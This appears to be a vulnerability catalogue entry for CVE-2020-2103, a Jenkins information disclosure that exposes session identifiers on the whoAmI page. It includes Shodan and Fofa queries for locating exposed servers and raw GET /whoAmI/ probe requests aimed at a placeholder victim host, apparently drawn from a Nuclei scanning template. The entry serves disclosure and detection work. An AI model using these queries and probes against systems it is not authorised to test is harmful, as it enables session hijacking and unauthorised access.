| Title | Jenkins <=2.218 - Information Disclosure |
|---|---|
| Author | c-sh0 |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to gain sensitive information from the Jenkins server. |
| Remediation | Upgrade Jenkins to a version higher than 2.218 to mitigate the vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.45215 |
| CVE ID | CVE-2020-2103 |
| CWE ID | CWE-200 |
| Shodan Query | http.favicon.hash:81586312cpe:"cpe:2.3:a:jenkins:jenkins"product:"jenkins" |
| Fofa Query | icon_hash=81586312 |
| Tags | cve cve2020 jenkins vuln |
Jenkins through 2.218, LTS 2.204.1 and earlier, is susceptible to information disclosure. An attacker can access exposed session identifiers on a user detail object in the whoAmI diagnostic page and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
GET /whoAmI/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /whoAmI/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-2103.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-2103.pcap
N/AN/A